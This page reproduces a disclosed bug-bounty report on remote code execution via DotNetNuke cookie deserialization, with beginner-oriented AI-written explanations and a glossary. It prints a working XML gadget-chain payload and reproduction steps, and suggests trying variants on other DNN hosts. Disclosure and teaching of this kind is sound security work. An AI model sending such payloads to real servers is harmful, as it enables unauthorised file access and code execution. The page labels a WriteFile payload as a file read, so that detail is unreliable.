Skip to content
RCE Disclosed report Advanced

Remote Code Execution through DNN Cookie Deserialization

The DotNetNuke application deserialises the DNNPersonalization cookie on 404 error pages, allowing an attacker to supply a crafted serialised object that leads to remote code execution and file read/write. The report demonstrates file read/write and states that remote commands can be executed.

cristiancornea Follow

Originally disclosed on HackerOne

  • Triaged in 19 hours
  • Fixed in 9 days
  • Disclosed after 10 days

Summary: The application at https://████████ presents a deserialization vulnerability that permits RCE and file read/write

Step-by-step Reproduction Instructions

  1. Navigate to a random page that must return a 404 Error status like https://████/test
  2. Add this cookie in the request header: DNNPersonalization
  3. Insert the payload into the DNNPersonalization cookie. You can generate a payload with the following tool https://github.com/pwntester/ysoserial.net, using the DotNetNuke plugin, or use the official exploit from here: https://www.exploit-db.com/exploits/48336, or use the following payload to read a file from the system:
<profile>
<item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=█████████]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=███████"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>WriteFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">test</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>

Where test is the wanted file

Expected result: ████

Product, Version, and Configuration (If applicable)

Platform: https://████████/shell.aspx Vulnerable Product: DotNetNuke Vulnerable Version: < 9.3.0-RC

Suggested Mitigation/Remediation Actions

Update the DotNetNuke (DNN) product to the latest version or to a more recent version that is not vulnerable

Impact

An attacker can execute remote commands on the system and gain unauthorized access to it.

The original report as published on HackerOne, by cristiancornea. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

DotNetNuke (DNN) is a .NET-based content management system. The report describes a deserialisation vulnerability in a DNN deployment hosted by the U.S. Department of Defence, reachable at a redacted HTTPS host. According to the report, the application permits remote code execution and file read/write through a cookie named DNNPersonalization.

The vulnerable product is identified as DotNetNuke, with affected versions below 9.3.0-RC. The report also lists a platform path ending in shell.aspx on the redacted host.

Setup

No accounts, roles or special configuration are described. The only precondition stated is that the target runs a DNN version earlier than 9.3.0-RC. The researcher references two public tools for generating payloads:

  1. ysoserial.net, at https://github.com/pwntester/ysoserial.net, using its DotNetNuke plugin.
  2. A public exploit at https://www.exploit-db.com/exploits/48336.

A payload can also be written by hand, as shown below.

Finding it

The report does not describe how the vulnerability was initially noticed. It presents the issue as a deserialisation flaw in the handling of the DNNPersonalization cookie, which the researcher states allows both remote code execution and file read/write.

Exploitation

Step 1: Reach a page that returns 404

Navigate to a random page that must return a 404 error status, for example:

Text
https://████/test

The report does not explain why a 404 page is required, only that the page must return that status.

Step 2: Add the DNNPersonalization cookie

Add the following cookie to the request header:

HTTP
DNNPersonalization

Step 3: Insert the payload into the cookie

The payload goes into the DNNPersonalization cookie value. It can be generated with ysoserial.net using the DotNetNuke plugin, taken from the public exploit, or written directly. The report gives the following payload, which it says reads a file from the system:

XML
<profile>
<item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=[redacted], Culture=neutral, PublicKeyToken=█████████]], System.Data.Services, Version=[redacted], Culture=neutral, PublicKeyToken=███████"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>WriteFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">test</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>

In this payload, test is the wanted file. The structure wraps a DotNetNuke.Common.Utilities.FileSystemUtils object inside a System.Data.Services.Internal.ExpandedWrapper, with a System.Windows.Data.ObjectDataProvider as the second generic type. The ObjectDataProvider names the method to invoke (WriteFile) and supplies its parameters, while the ObjectInstance is the FileSystemUtils object the method is called on. The report labels this payload as one that reads a file, and the expected result is redacted in the report.

Root cause

The report identifies the flaw as deserialisation of the DNNPersonalization cookie. The payload relies on .NET type resolution during deserialisation: the type attribute names a generic ExpandedWrapper whose type arguments include FileSystemUtils and ObjectDataProvider, and the deserializer instantiates those types and sets their properties. Because ObjectDataProvider can invoke an arbitrary method with attacker-supplied parameters, and FileSystemUtils exposes file operations, the deserialisation step ends in a method call chosen by the attacker.

The report gives the vulnerable range as below 9.3.0-RC.

Impact

According to the report, an attacker can execute remote commands on the system and gain unauthorised access to it. The same vulnerability is described as permitting file read and file write.

Fix

The suggested remediation is to update DotNetNuke to the latest version, or to a more recent version that is not vulnerable. The report suggests updating to the latest version or a more recent version that is not vulnerable.

Variants to test

  1. Other DNN hosts: send a request to a page that returns 404 with a DNNPersonalization cookie carrying a ysoserial.net DotNetNuke payload. A positive result is code execution or a file operation on the server.
  2. Different method calls: the report's payload uses WriteFile on FileSystemUtils. Substituting other methods on the same object, or other gadget types, is the natural next step when testing a similar target; a positive result is any observable side effect on the server.
  3. Version check: confirm the DNN version is below 9.3.0-RC before spending time on payloads, since the report ties the vulnerability to that range.

Hunting notes

This bug class hides in cookie and viewstate handling of ASP.NET applications, where a serialised blob is trusted from the client. During recon, a DNN installation is the main signal, and the version matters: anything below 9.3.0-RC is in the stated vulnerable range. The report's reproduction sends the cookie to a page that returns 404, without explaining why. The payload invokes a file operation through the deserialised object; the expected result is redacted in the report.

Difficulty: intermediate. The payload is public and the steps are short, but understanding the .NET gadget chain and adapting it to a target requires familiarity with deserialisation exploitation.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

What happened, in plain words

A security researcher found a serious flaw in a website run by the U.S. Department of Defence. The site was built with a piece of software called DotNetNuke, usually shortened to DNN. DNN is a content management system, which is a program that lets people build and run a website without writing all the code themselves: it handles pages, menus, user accounts and so on. Think of it as a ready-made house kit rather than a pile of bricks.

The flaw meant that an attacker could make the server run commands of their choosing, and could also read files from the server and write files to it. In security language this is called remote code execution, or RCE: "remote" because the attacker does it over the internet from their own machine, and "code execution" because the server ends up running instructions the attacker supplied.

The way in was a cookie. A cookie is a small piece of text that a website asks your browser to store and send back with every request, so the site can remember who you are or what you were doing. Normally a cookie holds something harmless like a session identifier. Here, the site took a cookie called DNNPersonalization, turned its contents back into live programming objects inside the server, and trusted whatever those objects did. That process of turning stored text back into objects is called deserialisation, and doing it on data the visitor controls is the vulnerability class at the heart of this report.

The affected versions were DNN releases earlier than 9.3.0-RC, and the suggested fix is to update to the latest version or a more recent version that is not vulnerable.

Context

DotNetNuke is a .NET-based content management system. .NET is Microsoft's programming platform: a large collection of tools and libraries that programs written in languages such as C# run on top of. "Based on .NET" means DNN is one of those programs.

The report describes a deserialisation vulnerability in a DNN deployment hosted by the U.S. Department of Defence, reachable at an HTTPS address that has been redacted (blanked out) in the published report. HTTPS is the encrypted version of the web's normal request protocol, the one indicated by the padlock in your browser.

According to the report, the application permits remote code execution and file read/write through a cookie named DNNPersonalization. File read means pulling the contents of a file off the server; file write means putting a file onto it or changing one that is already there.

The vulnerable product is identified as DotNetNuke, with affected versions below 9.3.0-RC. Version numbers are labels that software makers attach to each release so you can tell them apart; "below 9.3.0-RC" means any release numbered earlier than that one. The report also lists a platform path ending in shell.aspx on the redacted host. The .aspx ending is typical of pages served by ASP.NET, Microsoft's framework for building websites, and it tells you the page is generated by server-side code rather than being a plain file.

Setup

No accounts, roles or special configuration are described. In other words, the researcher did not need to log in or be given any permission: the only precondition stated is that the target runs a DNN version earlier than 9.3.0-RC.

The researcher references two public tools for generating payloads. A payload here means the crafted piece of data that, once the server deserializes it, causes the harmful action. The two tools are:

  1. ysoserial.net, at https://github.com/pwntester/ysoserial.net, using its DotNetNuke plugin. ysoserial.net is a well-known program that builds deserialisation payloads for .NET applications; a plugin is an add-on that teaches the main program about a particular target, here DNN.
  2. A public exploit at https://www.exploit-db.com/exploits/48336. An exploit is a ready-made recipe or piece of code that takes advantage of a specific vulnerability. Exploit-DB is a public archive of such recipes.

A payload can also be written by hand, as shown below.

Finding it

The report does not describe how the vulnerability was initially noticed. It presents the issue as a deserialisation flaw in the handling of the DNNPersonalization cookie, which the researcher states allows both remote code execution and file read/write.

Exploitation

Exploitation means actually using the flaw, step by step, rather than just suspecting it exists. The report gives three steps.

Step 1: Reach a page that returns 404

Navigate to a random page that must return a 404 error status, for example:

Text
https://████/test

A status code is a short number the server sends back with every response to say how the request went. 404 is the standard code for "this page does not exist". You have seen it as the "page not found" screen in a browser.

Why bother with a page that does not exist? The report does not explain why a 404 page is required, only that the page must return that status.

Step 2: Add the DNNPersonalization cookie

Add the following cookie to the request header:

HTTP
DNNPersonalization

A request header is the block of extra information your browser attaches to each request: what browser you use, what language you prefer, which cookies you hold. This line names the cookie the researcher is adding. In a browser's developer tools, or in an intercepting proxy (a program that sits between your browser and the site and lets you edit requests before they are sent), you would add a cookie with this name and give it a value in the next step.

Step 3: Insert the payload into the cookie

The payload goes into the DNNPersonalization cookie value. It can be generated with ysoserial.net using the DotNetNuke plugin, taken from the public exploit, or written directly. The report gives the following payload, which it says reads a file from the system:

XML
<profile>
<item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=[redacted], Culture=neutral, PublicKeyToken=█████████]], System.Data.Services, Version=[redacted], Culture=neutral, PublicKeyToken=███████"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>WriteFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">test</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>

In this payload, test is the wanted file. The expected result is redacted in the report.

This block is written in XML, a text format that uses angle-bracket tags to describe structured data, much like a form with labelled boxes. Reading it line by line:

  • <profile> and </profile> open and close the outer container. The server expects a profile-shaped document, so the payload dresses itself up as one.
  • <item key="name1:key1" ...> is one entry inside that profile. The key is just a label. The type attribute is the important part: it tells the .NET deserializer which class to build. A class is a blueprint in code; building an object from a class means creating a working instance of it in memory.
  • The type value names System.Data.Services.Internal.ExpandedWrapper2[...]. The backtick-two means this is a generic class with two type parameters: a class that is written to hold two other types, which you fill in when you use it. The two types filled in here are DotNetNuke.Common.Utilities.FileSystemUtilsandSystem.Windows.Data.ObjectDataProvider. The long Version=[redacted], Culture=neutral, PublicKeyToken=...` parts are the full address of the library each type lives in, so the server can find the right one; the token values are redacted in the report.
  • <ExpandedWrapperOfFileSystemUtilsObjectDataProvider ...> is the actual object being created, with the two type parameters baked into its name. The xmlns:xsd and xmlns:xsi attributes declare standard XML vocabularies used for typing the values inside.
  • <ExpandedElement/> is an empty slot in the wrapper. It is present because the wrapper's structure expects it.
  • <ProjectedProperty0> is the part of the wrapper that describes an action to perform.
  • <MethodName>WriteFile</MethodName> names the method to call. A method is a named action a piece of code can perform, like a button on a machine. WriteFile is the action that writes to a file.
  • <MethodParameters> holds the inputs for that action. Inside it, <anyType xsi:type="xsd:string">test</anyType> supplies one text value, test, which the report says is the wanted file.
  • <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance> says which object the method should be called on: a FileSystemUtils object, the DNN class that provides file operations.
  • The closing tags shut each container in reverse order, and </profile> ends the document.

Put together, the payload asks the server to build a FileSystemUtils object, wrap it in an ObjectDataProvider that knows how to call a named method with given arguments, and then call WriteFile on it with test as the argument. The report labels this payload as one that reads a file, and the expected result is redacted in the report.

Root cause

The report identifies the flaw as deserialisation of the DNNPersonalization cookie. Deserialisation is the reverse of serialisation: serialisation turns live objects into a stream of text or bytes so they can be stored or sent, and deserialisation turns that stream back into live objects. It is like packing furniture into flat boxes and later rebuilding it; the danger is that the rebuilder follows the instructions in the box, and here the box comes from the visitor.

The payload relies on .NET type resolution during deserialisation: the type attribute names a generic ExpandedWrapper whose type arguments include FileSystemUtils and ObjectDataProvider, and the deserializer instantiates those types and sets their properties. Instantiating means creating a live object from the class blueprint; setting properties means filling in its fields.

Because ObjectDataProvider can invoke an arbitrary method with attacker-supplied parameters, and FileSystemUtils exposes file operations, the deserialisation step ends in a method call chosen by the attacker. A gadget chain is the name for this kind of arrangement: individually ordinary classes that, wired together in the right order, produce an effect none of them was meant to produce on its own. It is like discovering that a toaster, a timer and a doorbell, plugged into each other, can open a garage.

The report gives the vulnerable range as below 9.3.0-RC.

Impact

According to the report, an attacker can execute remote commands on the system and gain unauthorised access to it. The same vulnerability is described as permitting file read and file write.

Fix

The suggested remediation is to update DotNetNuke to the latest version, or to a more recent version that is not vulnerable. The report suggests updating to the latest version or a more recent version that is not vulnerable.

Variants to test

Once you understand one instance of a bug, it is worth asking where else the same pattern might appear. Three directions are worth considering.

  1. Other DNN hosts: send a request to a page that returns 404 with a DNNPersonalization cookie carrying a ysoserial.net DotNetNuke payload. A positive result is code execution or a file operation on the server.
  2. Different method calls: the report's payload uses WriteFile on FileSystemUtils. Substituting other methods on the same object, or other gadget types, is the natural next step when testing a similar target; a positive result is any observable side effect on the server.
  3. Version check: confirm the DNN version is below 9.3.0-RC before spending time on payloads, since the report ties the vulnerability to that range.

Hunting notes

This bug class hides in cookie and viewstate handling of ASP.NET applications, where a serialised blob is trusted from the client. Viewstate is a hidden field ASP.NET pages use to carry page state between requests; like a cookie, it travels through the visitor's browser, so it is client-controlled too. A blob is simply a lump of data with no particular structure visible from outside.

During recon, short for reconnaissance, the information-gathering phase before testing, a DNN installation is the main signal, and the version matters: anything below 9.3.0-RC is in the stated vulnerable range. The report's reproduction sends the cookie to a page that returns 404, without explaining why. The payload invokes a file operation through the deserialised object; the expected result is redacted in the report.

Difficulty: intermediate. The payload is public and the steps are short, but understanding the .NET gadget chain and adapting it to a target requires familiarity with deserialisation exploitation.

Glossary

  • 404: the standard HTTP status code meaning the requested page does not exist.
  • ASP.NET: Microsoft's framework for building websites that run on a server.
  • Class: a blueprint in code that describes what an object can hold and do.
  • Content management system (CMS): software that lets people build and run a website without writing all the code themselves.
  • Cookie: a small piece of text a site asks your browser to store and send back with later requests.
  • Deserialisation: turning stored text or bytes back into live programming objects.
  • DNN (DotNetNuke): a .NET-based content management system.
  • Exploit: a ready-made recipe or piece of code that takes advantage of a specific vulnerability.
  • Exploit-DB: a public archive of published exploits.
  • File read / file write: reading a file's contents off the server, or creating or changing a file on it.
  • Gadget chain: a set of ordinary classes wired together so that, in the right order, they produce an effect none was designed for.
  • Generic class: a class written to hold other types, which you fill in when you use it.
  • Header: the block of extra information sent with a web request or response, such as cookies and browser details.
  • HTTPS: the encrypted version of the web's request protocol.
  • Instantiate: create a live object from a class blueprint.
  • Method: a named action a piece of code can perform.
  • .NET: Microsoft's programming platform, a large collection of tools and libraries that programs run on.
  • Payload: the crafted data that, once processed by the target, causes the harmful action.
  • Plugin: an add-on that teaches a program about a particular target or feature.
  • Property: a named field on an object that holds a value.
  • Recon (reconnaissance): the information-gathering phase before testing.
  • Remote code execution (RCE): making a remote server run instructions the attacker supplied.
  • Remediation: the fix that removes the vulnerability.
  • Serialisation: turning live objects into a stream of text or bytes for storage or transport.
  • Status code: a short number a server sends back to say how a request went.
  • Type resolution: the process of finding and loading the right class by name during deserialisation.
  • Viewstate: a hidden field ASP.NET pages use to carry page state between requests, travelling through the visitor's browser.
  • XML: a text format that uses angle-bracket tags to describe structured data.
  • ysoserial.net: a public tool that builds deserialisation payloads for .NET applications.

More by cristiancornea

View all

2 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.